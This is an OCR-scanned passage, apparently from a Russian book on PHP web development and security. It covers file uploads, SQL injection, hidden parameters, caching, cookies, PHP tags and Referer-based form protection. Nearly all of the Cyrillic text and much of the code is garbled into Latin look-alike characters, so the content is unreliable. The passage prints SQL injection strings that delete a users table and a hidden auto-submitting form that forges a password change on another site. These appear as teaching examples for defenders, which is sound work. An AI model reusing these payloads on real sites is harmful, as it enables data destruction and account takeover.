“TeHHE HANHETCS ¢ Hero.

Tlepexomm K yHKIMH £gets (). OHA OYEHS MOXOKA Ha £read ):
string fgetsint £, int length)
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detanie:
die("<P>This is not inage™);
'

L€ (copy (SEilel, "/var /wwa/hml/Eiles/". SE11e1_nane))
print ("<e><B>Conplete</B>") ;
else
print ("<esError copy file 1</B>"

Ho 570r0 HenocTaTosH0. Heamutie 10 KONMpOBaHWA (baiiia IPOBEPHTS paswep KapThi-
kot Jlke eci y BAC HET OrpaHIEHHS Ha paswep Gailna, NOTIEIHO BHIBATH (ByHKLIO
getimagesi ze ). ITOH (yHKLIMM iepenacTea MyTh Kk Galiny, a b pesynbTaTe Mt nOTyaeM
paoweps kaprmcn. EGTH BO BPEMA ONPEACICHUA PAIMCPR KAPTHHKH C NOMOWISKo
getinagesize () MPOMOMAET OLIKGKA, TO BOIBPAULIAENSIE PAMEPH GYAYT PABHS HYTO.
JloeTaToso npovepHTs 0GR 1 NAPANETpOR. ECH O Paben Yo, IHAHHT, B Gaiire
Tlepenana e KapTHHKa.
Crenyiouwsi MpHMED OKASHIBACT, Kak MOAHO BHTIOTHHTS NPOBEPKY KOPPEKTHOCTH
aiina epes ompeenenme ero pamepa:
$in_prop-getinagesize (stilel
print ("<E>Sin prop(0]xsin_prop(1]"):
i€ (sim prop(01>0)
«
i€ (copy (S£1LeL, */vax/mow/hend /€1 1es/"  SE11e1_nare)) (
print ("<P><B>Carplete</B>") 5
)
etse (
print ("<P>Error copy file 1/5
I
)
else {
die ("Inage size error”)
I

ywas getinagesize () BOIBPAILAET MACCHB ) CBOFICTB rpadpirieckoro daiina. B aTom

MACCHBE YICMEHTH HYMEPYIOTCH C HYAS H CONepXaT CAYIoee:

O wphHy kapTHHKH;

3 swcory:

O tun, rze 1 = GIF, 2= JPG, 3 = PNG, 4 = SWF,
Intel), 8 = TIFF (popwar Motorola), 9

O cTpoky saa neighe="yyy” wideh

PSD, 6 = BMP, 7 = TIFF ((opwar
PC, 10=JP2, 11=JPX;

‘Takiuw 0Gpasov, ailt MOAHO KOMHPOBATS TOTKO B TOM CAYHaE, KO SHAYEHHA Hyie-
BOTO H MEPBOTO 57eMEHTOB Gorbiue Hy:1a. KapTHHKA He 0;KHA HMETS UIHPHHY KK Bbi-
COTY PABHEIMH Hy!1K0, HHAME OH GECCMBICAHMHA W CONEPAHT HEKOPPEKTHSIE JaHHBiC.
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CHMTAIOT, HTO €CTIH 3ATIDOC CTIOAEH, TO XAKEP HE CMOKET BCTABHTH
anpoc. Hanpivep:

nero eme o

SELECT * FROM Users WHERE i

B 5TOM 3anpoce €CTh JONOTHHTEILHOE YCOBHE AND. nane="Hisan', HO €10 JETKO OT-
(GPOCHTS, €CH IEPEAATS b KAUECTBE NEPEMEHHON i CenyIOIHH TeKCT:
10;DELETE EROM users

‘Cepoepy Gyer Hanpasen caexyioui 3anpoc:
SELECT * FROM Users WHERE idw10;0ELETE FROM users—- AND name='Mean'

TlonysaeTes, 4To A0TIOIKTE bHas TPOBEPKa GYET NPOCTO OTOpOLIEHa.

© CMBoH KOMMeHTapHeB, . €. ABOfHOM Kedwc W /+. Kax Mst BWIETH pasee, ¢ 1o~
NOUIHIO KOMMEHTAPHER 10y MHIUTEHHHK MOKET OTOPOCHTS HEHYAHYIO HACTS 3apo-
ca. KoMMENTapHli ¢ ZBOHHLIM IEPHCON Mbi YKe OGCYIAIH, AaBaHTE PACCMOTPIM /*.
Boe, 40 HATHCAHO MEAZY CHMBOTAMH /*  */, CHHTAETCH KOMMEHTPHEM, HO TIDH
ITOM HATIHUIHE SAKPHITHS KOMMEHTAPHA (+/) He ABTRETCR OBwaTEBHbM. TToCHOTPHM
Ha caeTyIouHH 3anpoc:
SELECT * FROM Users WHERE id-1

ELETE FROM users/* AND nane='Meait®

Tlocnenee yenoBHe AND name~Visaw'  GYIET OT0pOIEHO, TIOTOMY IO OHO WIET
Rocre nauana KoMMerTapua /+. HCCHOTPA Ha T, T0 CHMBOOR JAKPHITHS KoMMEH-
Tapia (+/) B %anpoce HeT, ceppep Gaz AaNHAIX GYACT MOAPIYNEBATS, “TO 3aKoN-
MEHTHPOBAH Bech KO 10 KOHI 3a1poca.

Ecn Anofiol KEHE AETACT KOMMENTAPHEN BCe 70 KOHLA CTPOKH, TO CHMBOTH /*
1 */ MOTBOTIOT CO3ATS MHOTOCTPONMAA KoMMEHTapHR. JIOMYCTHM, 47O Y BAC €CTH
aanpoc:

seLect +

FRON Usexs

WHERE $d=10

[y ——

B Z@HHOM CTyuae MOAPAIYMERAETCA, O IAMPOC. COCTOMT M3 HECKOTHKIX CTPOK,
MY HTO MMEHHO TAKOR B ECTH XaKep CMOT CKOMIPOMETHPOBATS SHASCHHE 1apa-
METPa 1 BCTABHTS CBOM KO, TO 3a1poc GYIET BHIIANETS Tak:
sezect
FROM Users
WHERE 1d-10;DELETE. FROM users --

AND name=ioan"

HecMOTpA Ha T0, 'O XaKep BHEAPHI CHMBOI HAYATA KOMMEHTAPHS B KOHELL TPeTh-

i CTpoKW, weTepTas CTpoka He GyxeT KommenTapen. Ho cexytouuiti sanpoc no-
IBOTHCT AKOMMEHTHPOBTS BECh KO TIOCTE /, BHE SABHCHMOCTH OT HANANA H KOHI

cTpok:
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O 3uax pasencraa. PacowoTpiw mpiwep. JIONYCTHN, STO B TaGTHL €CTS 23 SHCTOBX
1IO7A — i W age, W 3ANPOC Ha BHIGOPKY JGHHBIX BHITIAINT Tak:
SELECT * EROM Users WHERE id='.$id
ECH XaKep OMECTHT B MIEPEMEHHYI0 $id CTPOKY 10 OR. age=20, H TpH 3TOM paspe-
eHbI POBETHI H HAK PABEHCTEA, TO 3ATPOC K Ga3€ AAHHBIX NPEBPATHTCA B CTEYIO-
i
SELECT * FROM Users WHERE i

0 oR ag

o

Eci e CHMBON pABEHCTBA SaTIPELLEH, TO 3ATpoC GYET TaKiM:

SELECT * FROM Users WHERE id10 OR age20

910 yke OUIGKa, W cepBep 6a3 AHHbIX He CMOKET BRITOTHHTS 3ATIPOC, & HAYHT, Xa-
Kep He YBHINT HYAHBIX evy AQHHX.

O Jlsa nedea noapan. B sssike SQL 8a KeHca 03HAUAIOT KOMMEHTADHH, W Xakep
“TaKiM OGPa3ON MOKET HIMEHHTS I0TKY 3anpoca. Hanpuwep, y Bac ecTh 3anpoc:
SELECT * FROM Users WHERE name~Sname AND id=Sid
‘Temieps NPEACTABHM, 'TO B TIEPEMEHHYHO Srane XAKEP IOMECTILT TEKCT:
Ansusicparop-—

B 3TOM CTyaE SAMPOC HIMEHHTCA H CTAHET TAKIN:

SELECT + FROM Users WHERE name= Amusczparop-- AND 1desid

Bee, 410 HAXOAHTCA MOGIE ABYX ZpHCOB, — KOMMEHTApH, IOSTOMY CEpBep Bbi-
OHHT TOTBKO 38MpOC:

SELECT * FROM Users WHERE name~ Amenwciparop

“TaKim OGPAION, XAKEp CMOKET OTGPOCHTS HEHYKHBIE €My IOTIOTHHTEbHESE TPOBED-
K TORYHHTD GOTIe JGHHEIX, S€M HEOGXOTHMO,

O Touxa ¢ 3amTOM. ITOT CHMBON HCTIOTB3YETCS [UIA PAVIEEHHS ATPOCOB MEAAY Co-
GO CepBep MOKET BHITIONHATS HECKOEKO ZeHCTBHI OLHHM JATIPOCOM, H OHH ZOTA-
Hb1 G, pa3eTeNs TOUKO © SAMATOM. Kak 970 MOeT HOrOMs30BaTh Xakep? Pac-
cMoTpHM MpHMep 3anpoca:

SELECT * FROM Users WHERE id=5id

Terieps IPEACTABHN, HTO Xakep IOMECTI B IEPEMEHHYIO 31 TeKCT:
DELETE FROW users

‘Takin oGpasow, ceppepy GYET HANPAKTEHa CIEAYIOILA CTPOKA  HATPOCOM:
SELECT * FROM Users WHERE 1d=10;DELETE FROM users
B OTBeT Ha 370 Cepnep Gashi AAHHbIX BHIOTHIT 3 OTACTHHAIX 3AMPOCa: SELECT *

FROM Users WHERE id-10 W DELETE FROM users, T. €. CHAMATA W3 TAGAMIb GYAyT i~
6pansi anbie, a yike NOTOM TAGAMNA GyeT oueHa. HEKOTOPHE MPOrpaMMICTH
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PaspaGorumkn PHP petsuii He wanesthes na npodeccnonaism Web-nporpaMmHeTon
10 YMOINEHWIO OTKTIONHIH MPEKTHBY register_globals,

2.12.6. Cxpurteie napameTpsr

Hukorza He soepsiiTe cxpbiu napaverpan! Kpacusoe wasano paviena? Jleficrey
TEHO, CKPHITHIM 12PAMCTPAN OBEPATS HE CTONT, NOTOMY "0 WIMEHITS WX ONEHS -
K0. JIOCTATORHO TOEKO COXPAHHTS Web-CTPaHHIY Ha CBOCM AHCKE, TIOTKOPPEKTHPOBATS
TO7e action, “TOGH OHO MPABHTBHO YKASHBATO Ha CILEHaPHT CEPBEPa, H, WIMEHHD Na-
PAMETP, BHITOTHATS ero.

Compexermsic Gpaysepsi MOIOTAOT PEAAKTHPORAT KOX CTPAHAIL MPAMO Ha 7eTy.
B Gpaysepe Chrome orkpofire Development Tools (5 Windows-sepeuh Hazto Haxats
xaamury <F12>, a 8 nepewn 41 Mac OS — <Command>+<Option>-+<i>). Bio i
HETO OKHA WM B OTIETEHOM OKHE JIOTKHA TIORBUTECA TAHEI © WHCTPYMEHTAMM paspa-
Gorumka (pic. 2.2).

Ha saxnanxe Elements Moxwo npocuotpers crpykrypy acero HTML-zokywenta. AG-
<OTOTHO M0G0 MAPAMETP MOKHO OTPEAKTHPOBATS, TIPOCTO ZIBBKIGN LIETKHY 110 HMY
Moo, MOKHO WEKHYT TpaBoil KHOMKOF 110 0G0y >ewenTy, nbiGpats Edit As
Hml, W OABHTCA BCTPOSHHGH PETAKTOP, © MIOMOUIGIO KOTOPOTO MOXHO CBOGOHO
WINEHATH KO CTpaHMI. 1paBa, Bce 3TO AENGETCA JOKATBHO B NAMATH Gpaysepa. Ecin
TepesapY2HTH CTPAHWLY, TO BCe HIMCHEHHS TOTEpAIOTCS.

€0 e oo :

Puc. 2.2 awenenne HTML xoza 8 Gpayaspe
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B0 3M1POcOB, a 3HaSHT, W GwcTpee. B baIl KaHAN ChYSM SarpyAeH Gonee Hem Ha 70%,
HEOGXOIINO NOYNATh 0 TOM, HTOGH! BKIIOSHT Gy peprsautio.

4.4.2. KawuposaHue cTpaHuy

B nailin cuieHapHi HCNoM3YIOT 1A (GOpNHpOBaNHA Web-CTPAHHIS! 3ATPOCH K Z10¢-
TaTONHO GOTbWON Gase AGHHBIX H TPH STOM HIMEHENHA B Ga3€ TPOHCKOTAT PEKO, TO
MOKHO KoUHpOBaTH Lebie CTpaKHLs. KaK OUEHHTS, HACKOTKO PEAKO MeHsETes Gasa
Jawwix? JIA 9TOTO HYXHO CPABHITS, HACTOTY MIMEHEHHH C KOTH4ECTBOM OGpauen
W €CTH MEXIY HIMEHEHHAMM poHCKonHT Ganee 100 oGpautenwi Kk pauiemy cafiTy, TO
KOUIMPOBARHE PEATEHO MOMORET.

Koumposase mpowcxomyT caexyiouu o0pasow. TIpi nepsow oGpauien wi noce
Becenns wamenenmii B Gasy AanHsix CTpanHa OPMMPYCTCA C NOMOUISIO CUEHApHS, &
3TN COXPAHAETCA Ha IHCKe CEPBEPA B CTIEUMATLHOM KaTazore. TIpH nocieyiouem o~
paiteHIn K 1O e CTPAHMILC CLEHapH/i CHANATA TPOBEPSET, CyILeCTRYET TH daiin co
ctpanmuet. Eca 12, TO CuieHapHil 3arpyAaet ero. B pesyabTaTe He HYXHO GYIeT 3aHOB0
DOpMHpOBaT Web-CTpaHHLY, YMEHBUINTCA KOTHYECTBO OGAILEHHH K Ga3e JHHHX K
HAUHTEITBHO CHISTCA HATpY3Ka Ha CepBep.

Jias xoutmposasins crpas y PHP HET roT0B0r0 H H{EKTHBHOrO HHCTPYMEHTS, 1 €ro
W HE MOXET GHITh, TIOTOMY *TO YHHBEPCATBHOTO pellieHis He cyuiecrayer. ITporpavn-
CTy Bee MPAXOMTCR CO3IABATS CAMOCTOATEITHHO, H B JGHHOM PEIETe HaM MPEACTONT
[PACCMOTPETS BOIMOAHBII BADHAHT PELLIEHIS TPOEM! KOUHPOBIHHS.

JlasaiiTe NOTyMaEM, KaK OGEIMHITS KOINPOBAHMHE BHBOTA, KOTOPOE MI PACCMATPHBA-
4 B pasd. 4.4.1, W KOWMpOBHHE CTPaHMIL, ECH OGHEIMHATS STH e TEXHOTOTHH W He-

MHOPO TIOPASMAICAHTS, TO MPHMEp PEATHSALAM KOUIMPOBHKA CTPAHHU CTHET OYEBHI-
Hbiv. MoR peaTisautns npecTaBieHa b aHCTHHIe 4.1

[T Koaimposese Wob croarmns : ]
<?php

11 Sy wresun woua
£unction ReadCache (CacheNane)
t

L£ (£11e_exists ("cache/SCacheNiane. hta") )
¢
require ("cache/SCachetians. hta")
Print ("<HRCTpawa 3aTpyXeHa K3 Koua") i
return 1;
)
else (
retumm 0;
)
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O cookies — b, KOTOPHE XPAHATCA Ha KOMIHOTEE KTHEHTa. OHH MOFYT GHiTh:

© BpEMEHNbIMM — XPAHSTCA B AMSTH KOMIIGIOTEDA KIHEHTA B TeHeHHE Onpeefet-
HOFO COGIMHEHIS C CEPBCPOM H WIICHTHUHb CeatCan;

© TIOCTORHHBIMH — XPAWATCS Ha AECTKOM JHCKE MIOTIIOBATEA 0 YKAIHHOTO Bpe-

O ceanc (wn ceccun);

O coGeThentbie peaTmsaA COLTHHEHHH, IPH KOTOPHX HEOOXOTHMBIE NAPAMETP CO-
XPAHAIOTCA B OMpeeACHHOM TaGMiLe Ga3bi JGHHEIX  IPHBAVHIBAIOTCA K KIHEHTY,

Tlph epexone OT CTPAHHIBI K CTPAHHLE HEOOXOTHNO "TAHYTH" 32 coGOfi NapaveTpht
HOTHI0BATES, TIOTOMY TO BTOMATHHECKH O WHTAE He Coxpaniorcs. JlonyeTi, 41O
Ha Baen CaTe ecTh BO3MOKHOCTS IMHANMHECKOR CMeHs! 1saiina. Ha 0110f Crpaswue
TOCeTHTE, CalfTa BHGPAT ONPEETEHHYIO UBETORYIO CXeMy. Tenleps NpH 3arpysKe Mo~
ol Crpaus ¢ Bauiero cailTa TOTAHG HCTOAVIOBATLCR T4 XKE UBETOBIA CXEN, a IHa-
ST, O CTPAHMLIN K CTPIHHLE HYKHO TIEPEABATS HOEP WITH HATBANHE CXEMbL.

He OMewana Gt BOSMOKHOCTS JOTOBPEMEHHOTO XPAHEHHS, Ha CTyval, €CTH MoTb30-
BT, BEPHETCA Ha CalfT YePes KaKoe-To Bpew. TPHATHO GYIET YBWIETS, 4O Bee Ha-
CTPOiKH COXPAWTHCE H He HATO CHOBA HACTpaWBaTS caifr. Ecnn na caiiTe ecth perner-
PALLAR H OTLIOBATE S BXOHT 1IOZ CBOWM HMEHEN, TO CXEMY MOXHO COXPARWTS B Gase
LN Ha cepBepe B MPOQITE OTHIOBATEAN H YHTATH KEAAHIH P, KOTAA MOCETHTENN:
BEPHETCA M BBEACT CBOE A W NapOTh. A ecni perneTpaui wer? Ona HyHa JaTeKo e
Boew caifra.

TIPEAIE HeM SHIKOMHTLE CO CTIOCOGAMH PEATHSALII XPAHEHHS JAHHEIX, HEOGXOTHMO
ONETETNTLCA, A1A Hero W Kakie Zahbie Mbi Xpas. TYT YUl BCEro WX payEnHTs
10 J0/INOCPOUHOCTH XPaHEHHS H 10 BXKHOCTH,

O Tepementiie, KOTOPHIE HYXHO XPAHHTS, MIOKA NIOTIOBATENS He YKAACT WHOTO THase-
Hih. K HHM MOKHO OTHECTH HACTPOFKH CaifTa, TAPAMEThI KOP3HHbI TIOKYTIOK B Hit-
TepHeT-MarasuiaX  T. 1. TaKiie JGHHHE HYKHO COXPAHATH AWK NOCTE TOFO, KiK.
TOTB30BATETS 3aKOKMHA PaGOTY Ha CAWTE W DEPHYICA A HETO HEPe3 ONpEENEHHoE
Bpens.

O Jlasnsie onpeenentoro cearca. SIpKAM TPHNEPOM FBTAETCA MMA TIOTLIOBATENS.
Ecaw Ha calire ecTh aBTOPSALIIA  TIOTSIOBATENS, BBEII CEOE WA, TO NIpH MEPexore
MKy CTPaHHUaNH NS T0TAHO coxpanaTbes. Ho ecii nonsa0saTess saxomsiun pa-
Gory ¢ calfTom (3aKpsuA Gpay3ep) H HEPES KIKOE-TO BPENS BEPHYICA Ha HETO, aBTOpH-
SAUA JOTKHA TIPOHCKOANTE SAHOBO, HTOGH XaKep He COT NOIETATH NapavETphi
Geatica H BOCTIOTHI0BATEES YO YHETHO ATTHCHIO.

J1% KPATKOBPEMEHHOTO XpaHEHHS ZQHHAIX TYILIE BCEro MOAXOIT CEAHCOBBIE TIEPEMEH-
Hbie, @ 14 Z0ATOBPEMEHHORO XpAHEHHA HACTPOEK KTHEHTA MOXHO HCTIONs308aTH aiLTht
0okies Wi CaMOTHCHOE pelicHHE, KOTOpOE GYAET XPaHHTS JaHHbIe b Gase JaHHEX, HO
A% 37070 G258 ZOKNA GHITH MPHBH3ANA KaKHN-TO OGPA3OM K KOHKPETHOMY 10753084~
ero.
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C TIOMOUIEO CTIEUHATLHOT COTTAIEHIA Bl YKATHIBAETE, T HASHHACTER W JAKAHMHBA-
ere Kox. Bee ocTansioe socnipuiimactcs kax HTML-nokywent.

Haue poero /% 0Go3HaAvEHHA Hatana W KoHiia PHP-HHCTYKIIAH HCMOTb3yeTca jopmat
(noToMy 410 OH YeTamOREH 10 ywOMAHHIO):

<zpp

roa PHP

Bee, 4TO PACTIOTAGETCA MEKIY TEaMH <?php W 7>, BOCTIDHHHMAETCA CEPBEPOM Kak
PHP-Kox # 00pAGATHBAETCA COOTBETCTRYIOWIM 0GPIIOM. OCTATHOE BOCTDHHHMACTCA
xax HTML-20KyMenT, neperactcs KimenTy 6es machenii 1 oOpaGaTHBacTCR YKe
B Gpaysepe nonksopareas.

Jlasit opwar HaWGoriee MPEATIONTHTENEH, H B STOM CIYHa€ Bl MOXETe GoiTh YBepe-
HbL, 510 OH GYZET KOPPEKTHO OGPAGOTaH CepBEpOM. O/IHAKO B NOXETE HCTIOTE3OBATS
IpYTHE BAPHAHTH, KOTOPHIE IOVIEPAHBAIOTCA b HACTOAILKH MOMEHT. TTpaBta, Bbi 107K~
Mt OTAGRATS Cee OTHET, “TO TOSKO TerH <7php 2> GYIYT FapAHTHPOBIHHO MOATEP-
AMBATHC B0 BCEX BepeHaX. HMEHHO TAK Ja%BHTH DATpAOOTUMKH MHOTO JET Hasas.
KopoTwe Bapwaii (cx. Oatee) Toe PaGOTAIOT, W CKopee Beero GyayT paGotaTh
Bcerna.

‘Teneps pacewoTpHM ApyrHe bapHaHT! Biuzeneis PHP-koza. Casit Koporwii  no-
nyApr TaKoM:

roa Bie

U105 GepBep PACTIOSHAT TAKYIO (JOPMY JATHCH, CAEAYET BITIONHTS TIOIIEPAKY CO CT0-
pomsi PHP. JUia 1010 HyHo ckommwiMposats wirepnpetaop PHP ¢ omumei
~—enable-short—tags WwiH B aie php.ini (Gaiin Hactpoex PHP) WiveHHTs swasehme
napaneTpa short_open_tag Ha on.

Ha woi B3z, 5Tor hopwa opopwters PHP-KOAA CTA CaBIM Oy IAPHBIM, H 5 Can
B GOTbUIMHCTBE CTyuaEs HCTOME3YIO MMENHO cro. ECIi panbiie 3 PEKOMEHIOBA OT-
KIHO4aTh KOpOTKHE TerH, TO Ceac AYMalo, T TyMuie HX Heronk30Bas. Tpeanonaraio,
w10 70T opwa TOE GyeT ATh T0MTO.

(CreyIo THIT SATHCH BUTARHT TaK:

@

xox PP

>

ITOT BAPHAHT HEMMHOTO TPOLLE, YN TIEPBbI, HO AaHHi THIT OBOPMUIEHHA KOLA IPHHAT
BASP.

Cavsi rpomoskHi crioco§ — ceayouuiii;

<SCRIPT LANGUAGE="php™>

o Bip.

</scaae>
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XOTH Mbi TAK HETATHEHO HAYQTH PACCMOTPEHHE CKPHITHIX IaPAMETPOB, WX HCTIOTH30BATS
MOXHO, TpocTO Hemsas M A0BepATh. TloaTowy Kapaite oGcyamw, Kax yOHpaTs napa-
METPHI ¢ 13 7010H OT M0GPONOPAAONHEIX. MOMK30BaTENCH. JIEHCTBHTEbHO, HHOTAA
HYKHO TIEPEaTS OT CTPAHMIBI K CTPAHHIE KAKYIO-TO CTYAeGHYIO HAOpMALITIO W He
XOUETCR HCTIOTH30BATS 1A 3TOr0 cOOKies. B STHX CYHasX COMMAIOT HEBHIMMBIH Napa-
METP, H 3T0 MOKHO CIETATh HECKOTHKHMH CTIOCOGAMH, KOTODHE HaM MPECTOHT cefitac
paccworpers.

Tlepeiiii MeToR — Co31aTh NOTE BBOTA THIA hidders:

<fom action="paran.phy
<input. nan
<input type="hidden name="HiddenFaran® value="00000" />
</somm>

Tlons 88033, ¥ KOTOPBIX B NapaweTpe type Yiasano hidden, e Gyayr oroSpaarses. Ho
B AaHHOM Ciysae cueHaphii param.php, KOTOPOMY (GOMA NEPEnaET AaHHbC, YBHINT
TIEPEMEHIYIO 3_FOST i dderPazan |, CONEPRAIYIO NATS HyeH.

CieyiowuHi NPHMeEP TIOKASHIBACT, KaK CAETATS TO e CaNOE, HO HAMHOFO PO
<fom action="paran. prp?Hidden:

<input name="UsexNane'
</som>

£am=00000" methods"post™>

M0 Oviews WHTEpECHSIH TDHMED, TIOTOMY \TO MAPAMETp Useriane MEPEABETCH HEPEs
input, 3 GOPMA TEPENAET JAHHBIE METOIIOM EOST, SHAUHT, 5TO SHASEHHE GYIET JIHCAHO
B Maccus 5_rost. Hy a Biddenparar npomvcatt & bwze URL-CTpOKN aTpHOYTa action W
GyleT nepeaa B MaccHB $_GET. 1O elle OMH CTIOCOD YBHIETH PASHHLLY MEXIY TBYMA
METOTaMM Mepenas NapaNCTpOP.

B PHP-KOJ€ rlepeMeHHbE MOKHO GYET MpONHTaTS Tak:

print ("<p>Hiddenpazan: *
print ("<p>Usertane:

5_GET(*Hiddenpazan’] . '</p>");
+ 5_POST(*Usertiane*] . "</p>");

2.13. XpaHeHue napameTpos nonb3osatens

Tiporokon HTTP He nojepaisaet AawTebHsix coexnmentih. JL1s NOTyNeHHE KEKIOTO
alina CTpaHMILY (CuieHapHA, PHEyHKa, Flash-aHAMALII 1 T. 1) OTKPHBAETCH HOBOE CO-
eannenvie. Taki 00PIIOM, CCPACP He MOXET PACTIO3ATS, 4TO CLEHADHH H KAPTHHKY
SANPOCIUT OZHH H TOT Ke MOABIOBATEITS, MOTOMY 4O UTA HETO IT0 GYAYT PASHHE COSIH-
e, ke TOT (KT, “TO 3aMPOCH MIYT ¢ OIHOTO W TOFO e IP-axpeca, Wiriero He ro-
BOPHT, Bl OHH MOTYT IOGTYIIAT OT NIPOKCH-CEPBEPA, Yepe3 KOTophii paGoTaIoT cOTHH,
TIepeXotst MEXiIy CTRAHWIIAMH TAKIKE COSTAIOT HOBHIE COETHTEHHA C CEpBEPO, TIOSTOMY
CTPAMML e MOTYT GHITh CBRIAHbI MEALY COGOM H HMETb OBIIME napaveTp. UTobs
COXPAHHTS SHAHEHYA TIAPAMETHOB TIPH TEPEXOE O CTPAHHLIS K CTPAHHE CalTa, MOKHO
HOOTHI0BATS TPH BAHANTA:
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BBOTA W MEPEaTS €10 cepaepy. BOT TEMEP MEPEMEHHR HTTE_REFERER TOWHO JOTANE
ompaxats myts. B woew ciysae Ha Web-ctpanmiie % yswzen http:/192.168.77.1/
env.php, 3ecs 192.168.77.1 — 310 IP-aTpec KOMTLIOTEPa, 1€ Y MEA YCTanoBeH
Linux ¢ Web-cepeepom Apache + PHP.

‘Teneps nonpoSyem coxpanyTh pai Ha CBOEM KECTKOM JHCKE W HCTIDABHM YTh B TIOTE
action OPMbI TaK, 410Gk 1aHHse ops nepenasatich Web-cepoepy:

<fom action="http: //192.168.77.1/env.php" method="get">

<@Bvemime KaKoH-wOyI TeKcT</B>

<ER>Texcr: <input. name-"server">

<ER><input type"submit® value="0K">

</tom>

<zphp
print (s_SERVER "HTT?_REFERER']);

Xaxepsi 0venb 4aCTO CONpaHAIOT Web-CTpaHYILS: Ha CBOSM JWCKe JUTX W3YHEHIA W KOp-
PEKTUPOBKH NAPAMETPOB, HATPHNEP, NGPAMCTPOR, MEPEAABAEMBIX METOIOM FOST.
3arpysuTe 10T $aiis CO CBOETO KECTKOTO AHCKa H MOMPOGYHTE Terep MepeAaTs Mapa-
MeTp cepaepy. Tak Kak B JHHOM CTYa clicHapHi 3aTYCKACTCA He C CepBEPa, TO Miepe-
MEHHAA $_SERVER 'HIT? REFERER'] GYIIET CONCPAGTS 4TO YTOTHO, HO TONHKO He anpec
ceppepa 192.168.77.1. Taksm GPasOM, b CEHIPHH MOXHO CIETATH CACIYIOUYIO %a-
iy

S€ (tereg("hetp://192\.169.5\.60%, S_SERVER('HTTE_REFERER'1))

i

die (e crons zax sanasemare canr”
'

‘Tenteps CoxpaHITL CTPAHHIY Ha AOKATHOM AECTKOM THCKe GYAET COKHeE.
Ho 5T SAILINTA CAMUIKOM MPOCTAS, HO CTIOCOGHA BCe K€ JALHTHTS OT HEKOTOPHIX PO~
Grew. Jlonycriw, ¥TO y Bac €CTh (GOpMa, Ha KOTOPO NOTIOBATEN MOKCT TIOMERSTS
napons: www.profwebdev.com/account/changpwd.php. Korza nomsosaress mpocto
OGpauaeTCA K ITOMy azpecy (GET-3anpoc), TO CalfT PHCYET JOPMY UTA CMEHH NEpOTA,
Ec opMa 3aTOTHERS, To OHa OTIPARIAETCA OGPATHO cephepy Ha 1T Ke URL, Ho
YK FOST-METOMOM. Cepbep MEHSET N13POTh JI% TEKYILETO MOTH3OBATETA, H Bee BpOtE
bt paGoraer npexpaco.
Ho Xakep MoeT cosars crenyiouul dalki wa caoew caitre:
‘isplayinone” id="hackform" methods"post"

£/ v profuebev. com/account /changepwd. Bhp">
ext” nane="passord® value="querl23e” />

(*#hackform!) . submit () ">Kmaos snece</a>
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CalfTax W e MOry TeprieTs (POpYMSI H3-3a TOrO, 'O TaM HYKHO JaMOTHATS KaKHE-TO
OPMH TOEKO 1A TOTO, “TOGH MIOOGUATECK LIH 3ATAT BONPOC APYTHM. 51 He ocTas-
1310 CBOH COOBIIEHHS Ha GHOTAX, €CTH U 3TOTO HY)KHO 3APETHCTPHPOBATECS.

‘Teneps, xaxepy, “TOGH MPOTOTOCORATS, HYKHO 3aPETHCTPHPOBATLCA Ha CaliTe, @ €cn
10T npouece noTpeGyeT AeHcTaMTENBHOND axpeca e-mail (wa koTopi Gyzer oTrpan-
RTLCA KOT aKTHBALUIH), TO /1% TOTO, STOGH! OTAATS GATHIIMBHH 10710C, XAKEPY HYKHO
Gyzer BHTONHHTS CAETyIOIHE AEHCTBHA:

1. BapernerpuposaTs nowromsit AUk Ha moGoA GecnnaHoit cayxGe. Baro, Taxix
Ci1yKG b MHTEpHETe J0CTATONHO, H 5TO HE COCTABHT 0G00Or0 TPYA.

2. JaperucTpupoBaTC Ha CaliTe ¢ YKAaHMEM 3aPETHCTPHPOBIHHOTO SUIMKA, KYAd
6yzeT BbiCTaHN KO aKTHBAIVIN.

3. AKTHBHPORATH YHETHYIO SaIHCh M IPOFOI0COBATS.

Be 9T WarH HECTOHBIE, HO OTHIMAIOT ONEHS MHOTO BPEMEHH 1 CHY, & XaKephi fcHH-
BB W HE GYAYT JaHHMATLCA IOTOGHEINH BEUIaH, 34TO ZI0GPOTIOPAIOSHEIM MOAB3OBATE-
M Mt 10GABHM AHLIHI XIOTOT.

Tonysaeres, s1o awoGomy ronocoanHio B HTEPHETE HENb33 AOBEPATS, NIOTOMY 10 OHO
HE MOET OTPRXATS AEHCTBHTEHOCTS. ECTH PEaTHioBaTh KECTKYIO 3authTy O yta,
70 MPOFOOCYIOT AATEKO He BCE, @ €CAM AUKTY XOTh HEMHOTO CHATSHTS, TO XAKEPSI CY-
NetoT €e 0GOfTH. JIpYTOe €70, ¢ KaKHM3 SATPATANH GYZeT CBAaH oGXon. B AaHoM
Cilyuae SATATH HIMPAIOTCS BPEMEHEN  YCHTHAMH. HAKPYTKA rOT0COBAHHS — 310 He
Ta 0GTACTS, e XaKepbi AO/DAHS! IPHMEHSTE CBOW JHAH W YMEHHS. XaKepeKoe cood-
LIECTBO TAKOTO B3710Ma He OTOGPHT, 1 H eKTHOTO PesyILTaTa TyT He Gyer.

3.13. 3awmTa OT UIMEHeHUs POpMLI

'V PHP ecTh 0vet WHTEPECHAR IEpeMEHHAA OKDYAEHWA: TT? FEFERER. B Hell A0mAeH
RaxoANTRCR MyTh K ainy, w3 KOTOPOFO Gbun 3amyuen cucnapwi. lanafite covtazM
aiia env.php co creaytouy coxepimL
<fom action="env.php" method="get">
<BBremire aoi-wiCym Texcr</8>
<ER>Texce: <input name:

<BRocinput type="submit” value
</som>

<zphp
print (s_SERVER [ 'HTTE_REFERER']) ;

Frech onpezeneit (OPHa 13 BEOZA TEKCTA H NEpenaTH ero cuieHapuio u PHP-Koz, Ko-
Topuif BuBOINT Ha Web-CTPaHHILY COTEpXHMOE NEpEMEHHOF HITe_FEFERER. 3arpyshTe
10T cuenapiii b Gpaysep. B pesyIBTaTe Ha KpaE TOMMMO (oMb ATA BBOTA TeKCTA

MOKET GHiTh BBEIEH MyTh K ailny, OTKYAa Gt 3aMytett ceHapili, HO TpH 3anyCKe
On MoKeT GbiTh 1 ycTsN. Teneph MoNpoGYFiTe BBECTH KaKO-HHOY IS TEKCT B none
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noMs30BATGA GecnaTHEIMM XocTHHTaMH. S| CunTalo, ¥TO Mywe sannaTHTh 100 20K
OB 3a 1L K MOy HHTh KaHECTBEHHOE MECTO [ calfTa.

B pasd. 5.3.3 wbi Gyiew PACCMATPHBATS, KAK NOKHO CAMOCTORTENbHO PEATHIOBATE CHC-
TeMy ayrTewTHmKaunH nonksopatenci. Hau cuenapui GyIeT MpOBEPATS BbeAEHHHE
